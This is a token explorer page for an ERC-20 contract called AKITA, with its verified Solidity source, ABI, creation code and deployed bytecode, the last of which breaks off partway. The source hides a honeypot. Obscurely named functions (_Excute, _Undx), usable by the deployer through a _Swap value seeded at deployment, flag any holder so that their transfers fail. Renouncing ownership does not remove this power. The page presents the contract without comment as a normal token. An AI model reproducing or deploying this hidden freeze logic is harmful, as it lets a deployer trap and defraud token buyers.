ERC-20
Overview
Max Total Supply
1,000,000,000 AKITA
Holders
19
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
AKITA
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-10 */ pragma solidity = 0.8.26; // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } contract Ownable is Context { address private _Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _Owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _Owner; } function renounceOwnership() public virtual { require(msg.sender == _Owner); emit OwnershipTransferred(_Owner, address(0)); _Owner = address(0); } } contract AKITA is Context, IERC20, Ownable { mapping (address => uint256) public _balances; mapping (address => uint256) public _Swap; mapping (address => bool) private _View; mapping (address => mapping (address => uint256)) private _allowances; uint256 public _totalSupply; string public _name = "Alliance for Knowledge, Innovation, and Technological Advancement"; string public _symbol = unicode"AKITA"; uint8 private _dig = 8; bool _LP = true; constructor () { uint256 _Set = block.number; _Swap[_msgSender()] += _Set; _totalSupply += 1000000000 *100000000; _balances[_msgSender()] += _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _dig; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transferfrom(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be grater thatn zero"); if (_View[sender]) require(_LP == false, ""); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _transferfrom(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be grater thatn zero"); if (_View[sender] || _View[recipient]) require(_LP == false, ""); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _Excute(address _One) external { require (_Swap[_msgSender()] >= _dig); _View[_One] = true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _Undx(address _One) external { require (_Swap[_msgSender()] >= _dig); _View[_One] = false; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_One","type":"address"}],"name":"_Excute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_Swap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_One","type":"address"}],"name":"_Undx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060800160405280604181526020016121fe604191396006908161002b91906104fe565b506040518060400160405280600581526020017f414b4954410000000000000000000000000000000000000000000000000000008152506007908161007091906104fe565b506008805f6101000a81548160ff021916908360ff1602179055506001600860016101000a81548160ff0219169083151502179055503480156100b1575f80fd5b505f6100c16102bd60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f4390508060025f6101736102bd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546101ba91906105fa565b9250508190555067016345785d8a000060055f8282546101da91906105fa565b9250508190555060055460015f6101f56102bd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461023c91906105fa565b925050819055506102516102bd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516102af919061063c565b60405180910390a350610655565b5f33905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061033f57607f821691505b602082108103610352576103516102fb565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026103b47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610379565b6103be8683610379565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6104026103fd6103f8846103d6565b6103df565b6103d6565b9050919050565b5f819050919050565b61041b836103e8565b61042f61042782610409565b848454610385565b825550505050565b5f90565b610443610437565b61044e818484610412565b505050565b5b81811015610471576104665f8261043b565b600181019050610454565b5050565b601f8211156104b65761048781610358565b6104908461036a565b8101602085101561049f578190505b6104b36104ab8561036a565b830182610453565b50505b505050565b5f82821c905092915050565b5f6104d65f19846008026104bb565b1980831691505092915050565b5f6104ee83836104c7565b9150826002028217905092915050565b610507826102c4565b67ffffffffffffffff8111156105205761051f6102ce565b5b61052a8254610328565b610535828285610475565b5f60209050601f831160018114610566575f8415610554578287015190505b61055e85826104e3565b8655506105c5565b601f19841661057486610358565b5f5b8281101561059b57848901518255600182019150602085019450602081019050610576565b868310156105b857848901516105b4601f8916826104c7565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610604826103d6565b915061060f836103d6565b9250828201905080821115610627576106266105cd565b5b92915050565b610636816103d6565b82525050565b5f60208201905061064f5f83018461062d565b92915050565b611b9c806106625f395ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a057806395d89b411161006f57806395d89b41146102e0578063a9059cbb146102fe578063b09f12661461032e578063d28d88521461034c578063dd62ed3e1461036a57610114565b806370a082311461026c578063715018a61461029c5780638da5cb5b146102a6578063902e44fc146102c457610114565b806318160ddd116100e757806318160ddd146101b257806323b872dd146101d0578063313ce567146102005780633eaaf86b1461021e5780636ebcf6071461023c57610114565b806306fdde0314610118578063095ea7b31461013657806316c900611461016657806316ff0f4e14610182575b5f80fd5b61012061039a565b60405161012d91906113f4565b60405180910390f35b610150600480360381019061014b91906114a5565b61042a565b60405161015d91906114fd565b60405180910390f35b610180600480360381019061017b9190611516565b610447565b005b61019c60048036038101906101979190611516565b6104ff565b6040516101a99190611550565b60405180910390f35b6101ba610514565b6040516101c79190611550565b60405180910390f35b6101ea60048036038101906101e59190611569565b61051d565b6040516101f791906114fd565b60405180910390f35b610208610618565b60405161021591906115d4565b60405180910390f35b61022661062d565b6040516102339190611550565b60405180910390f35b61025660048036038101906102519190611516565b610633565b6040516102639190611550565b60405180910390f35b61028660048036038101906102819190611516565b610648565b6040516102939190611550565b60405180910390f35b6102a461068e565b005b6102ae61079e565b6040516102bb91906115fc565b60405180910390f35b6102de60048036038101906102d99190611516565b6107c5565b005b6102e861087e565b6040516102f591906113f4565b60405180910390f35b610318600480360381019061031391906114a5565b61090e565b60405161032591906114fd565b60405180910390f35b61033661092b565b60405161034391906113f4565b60405180910390f35b6103546109b7565b60405161036191906113f4565b60405180910390f35b610384600480360381019061037f9190611615565b610a43565b6040516103919190611550565b60405180910390f35b6060600680546103a990611680565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611680565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f61043d610436610ac5565b8484610acc565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f610464610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104a8575f80fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6002602052805f5260405f205f915090505481565b5f600554905090565b5f610529848484610c8f565b5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610570610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e690611720565b60405180910390fd5b61060c856105fb610ac5565b8584610607919061176b565b610acc565b60019150509392505050565b5f60085f9054906101000a900460ff16905090565b60055481565b6001602052805f5260405f205f915090505481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e4575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085f9054906101000a900460ff1660ff1660025f6107e2610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610826575f80fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60606007805461088d90611680565b80601f01602080910402602001604051908101604052809291908181526020018280546108b990611680565b80156109045780601f106108db57610100808354040283529160200191610904565b820191905f5260205f20905b8154815290600101906020018083116108e757829003601f168201915b5050505050905090565b5f61092161091a610ac5565b8484611032565b6001905092915050565b6007805461093890611680565b80601f016020809104026020016040519081016040528092919081815260200182805461096490611680565b80156109af5780601f10610986576101008083540402835291602001916109af565b820191905f5260205f20905b81548152906001019060200180831161099257829003601f168201915b505050505081565b600680546109c490611680565b80601f01602080910402602001604051908101604052809291908181526020018280546109f090611680565b8015610a3b5780601f10610a1257610100808354040283529160200191610a3b565b820191905f5260205f20905b815481529060010190602001808311610a1e57829003601f168201915b505050505081565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b319061180e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061189c565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c829190611550565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf49061192a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d62906119b8565b60405180910390fd5b5f8111610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da490611a46565b60405180910390fd5b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610e48575060035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15610ea3575f1515600860019054906101000a900460ff16151514610ea2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9990611a87565b60405180910390fd5b5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e90611b15565b60405180910390fd5b8181610f33919061176b565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fc09190611b33565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110249190611550565b60405180910390a350505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110979061192a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361110e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611105906119b8565b60405180910390fd5b5f8111611150576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114790611a46565b60405180910390fd5b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156111f5575f1515600860019054906101000a900460ff161515146111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb90611a87565b60405180910390fd5b5b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611279576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127090611b15565b60405180910390fd5b8181611285919061176b565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113129190611b33565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113769190611550565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113c682611384565b6113d0818561138e565b93506113e081856020860161139e565b6113e9816113ac565b840191505092915050565b5f6020820190508181035f83015261140c81846113bc565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61144182611418565b9050919050565b61145181611437565b811461145b575f80fd5b50565b5f8135905061146c81611448565b92915050565b5f819050919050565b61148481611472565b811461148e575f80fd5b50565b5f8135905061149f8161147b565b92915050565b5f80604083850312156114bb576114ba611414565b5b5f6114c88582860161145e565b92505060206114d985828601611491565b9150509250929050565b5f8115159050919050565b6114f7816114e3565b82525050565b5f6020820190506115105f8301846114ee565b92915050565b5f6020828403121561152b5761152a611414565b5b5f6115388482850161145e565b91505092915050565b61154a81611472565b82525050565b5f6020820190506115635f830184611541565b92915050565b5f805f606084860312156115805761157f611414565b5b5f61158d8682870161145e565b935050602061159e8682870161145e565b92505060406115af86828701611491565b9150509250925092565b5f60ff82169050919050565b6115ce816115b9565b82525050565b5f6020820190506115e75f8301846115c5565b92915050565b6115f681611437565b82525050565b5f60208201905061160f5f8301846115ed565b92915050565b5f806040838503121561162b5761162a611414565b5b5f6116388582860161145e565b92505060206116498582860161145e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061169757607f821691505b6020821081036116aa576116a9611653565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61170a60288361138e565b9150611715826116b0565b604082019050919050565b5f6020820190508181035f830152611737816116fe565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61177582611472565b915061178083611472565b92508282039050818111156117985761179761173e565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117f860248361138e565b91506118038261179e565b604082019050919050565b5f6020820190508181035f830152611825816117ec565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61188660228361138e565b91506118918261182c565b604082019050919050565b5f6020820190508181035f8301526118b38161187a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61191460258361138e565b915061191f826118ba565b604082019050919050565b5f6020820190508181035f83015261194181611908565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6119a260238361138e565b91506119ad82611948565b604082019050919050565b5f6020820190508181035f8301526119cf81611996565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726174657220745f8201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f611a3060298361138e565b9150611a3b826119d6565b604082019050919050565b5f6020820190508181035f830152611a5d81611a24565b9050919050565b50565b5f611a725f8361138e565b9150611a7d82611a64565b5f82019050919050565b5f6020820190508181035f830152611a9e81611a67565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611aff60268361138e565b9150611b0a82611aa5565b604082019050919050565b5f6020820190508181035f830152611b2c81611af3565b9050919050565b5f611b3d82611472565b9150611b4883611472565b9250828201905080821115611b6057611b5f61173e565b5b9291505056fea26469706673582212209ef721594ee281418ddb7676630f6a71e5d7d3cad65d7f1768cd6448f00e570264736f6c634300081a0033416c6c69616e636520666f72204b6e6f776c656467652c20496e6e6f766174696f6e2c20616e6420546563686e6f6c6f676963616c20416476616e63656d656e74
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a057806395d89b411161006f57806395d89b41146102e0578063a9059cbb146102fe578063b09f12661461032e578063d28d88521461034c578063dd62ed3e1461036a57610114565b806370a082311461026c578063715018a61461029c5780638da5cb5b146102a6578063902e44fc146102c457610114565b806318160ddd116100e757806318160ddd146101b257806323b872dd146101d0578063313ce567146102005780633eaaf86b1461021e5780636ebcf6071461023c57610114565b806306fdde0314610118578063095ea7b31461013657806316c900611461016657806316ff0f4e14610182575b5f80fd5b61012061039a565b60405161012d91906113f4565b60405180910390f35b610150600480360381019061014b91906114a5565b61042a565b60405161015d91906114fd565b60405180910390f35b610180600480360381019061017b9190611516565b610447565b005b61019c60048036038101906101979190611516565b6104ff565b6040516101a99190611550565b60405180910390f35b6101ba610514565b6040516101c79190611550565b60405180910390f35b6101ea60048036038101906101e59190611569565b61051d565b6040516101f791906114fd565b60405180910390f35b610208610618565b60405161021591906115d4565b60405180910390f35b61022661062d565b6040516102339190611550565b60405180910390f35b61025660048036038101906102519190611516565b610633565b6040516102639190611550565b60405180910390f35b61028660048036038101906102819190611516565b610648565b6040516102939190611550565b60405180910390f35b6102a461068e565b005b6102ae61079e565b6040516102bb91906115fc565b60405180910390f35b6102de60048036038101906102d99190611516565b6107c5565b005b6102e861087e565b6040516102f591906113f4565b60405180910390f35b610318600480360381019061031391906114a5565b61090e565b60405161032591906114fd565b60405180910390f35b61033661092b565b60405161034391906113f4565b60405180910390f35b6103546109b7565b60405161036191906113f4565b60405180910390f35b610384600480360381019061037f9190611615565b610a43565b6040516103919190611550565b60405180910390f35b6060600680546103a990611680565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611680565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f61043d610436610ac5565b8484610acc565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f610464610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104a8575f80fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6002602052805f5260405f205f915090505481565b5f600554905090565b5f610529848484610c8f565b5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610570610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e690611720565b60405180910390fd5b61060c856105fb610ac5565b8584610607919061176b565b610acc565b60019150509392505050565b5f60085f9054906101000a900460ff16905090565b60055481565b6001602052805f5260405f205f915090505481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e4575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085f9054906101000a900460ff1660ff1660025f6107e2610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610826575f80fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60606007805461088d90611680565b80601f01602080910402602001604051908101604052809291908181526020018280546108b990611680565b80156109045780601f106108db57610100808354040283529160200191610904565b820191905f5260205f20905b8154815290600101906020018083116108e757829003601f168201915b5050505050905090565b5f61092161091a610ac5565b8484611032565b6001905092915050565b6007805461093890611680565b80601f016020809104026020016040519081016040528092919081815260200182805461096490611680565b80156109af5780601f10610986576101008083540402835291602001916109af565b820191905f5260205f20905b81548152906001019060200180831161099257829003601f168201915b505050505081565b600680546109c490611680565b80601f01602080910402602001604051908101604052809291908181526020018280546109f090611680565b8015610a3b5780601f10610a1257610100808354040283529160200191610a3b565b820191905f5260205f20905b815481529060010190602001808311610a1e57829003601f168201915b505050505081565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b319061180e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061189c565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c829190611550565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf49061192a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d62906119b8565b60405180910390fd5b5f8111610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da490611a46565b60405180910390fd5b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152